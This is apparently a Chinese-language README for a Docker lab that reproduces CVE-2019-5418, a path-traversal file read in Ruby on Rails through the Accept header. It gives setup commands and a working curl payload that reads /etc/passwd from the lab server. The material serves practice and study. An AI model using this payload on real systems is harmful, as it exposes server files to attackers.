本项目是一个用于实践和复现 Ruby on Rails 本地文件包含漏洞 (CVE-2019-5418) 的环境。该漏洞可通过 Accept 头进行路径遍历,从而读取服务器内部的任意文件。
Ruby on Rails 是一个能让开发者快速轻松构建 Web 应用程序的 Web 应用框架。
Ruby on Rails 中版本低于 5.2.2.1、5.1.6.2、5.0.7.2、4.2.11.1 以及 v3 存在本地文件包含漏洞。
当在控制器中使用 render file 来渲染应用程序外部的视图时,Rails 会根据用户提供的 Accept 头来决定文件位置。发送带有特定值的 Accept 头(如 Accept: ../../../../../../../../etc/passwd{{),攻击者便可利用路径遍历漏洞读取任意文件。
执行以下命令编译并启动 Ruby on Rails 5.2.2:
docker compose build
docker compose up -d
服务器启动后,访问 http://your-ip:3000 即可看到 Ruby on Rails 页面。

curl -H "Accept: ../../../../../../etc/passwd{{" http://localhost:3000/robots
通过 Accept 头成功读取了服务器内部的任意文件。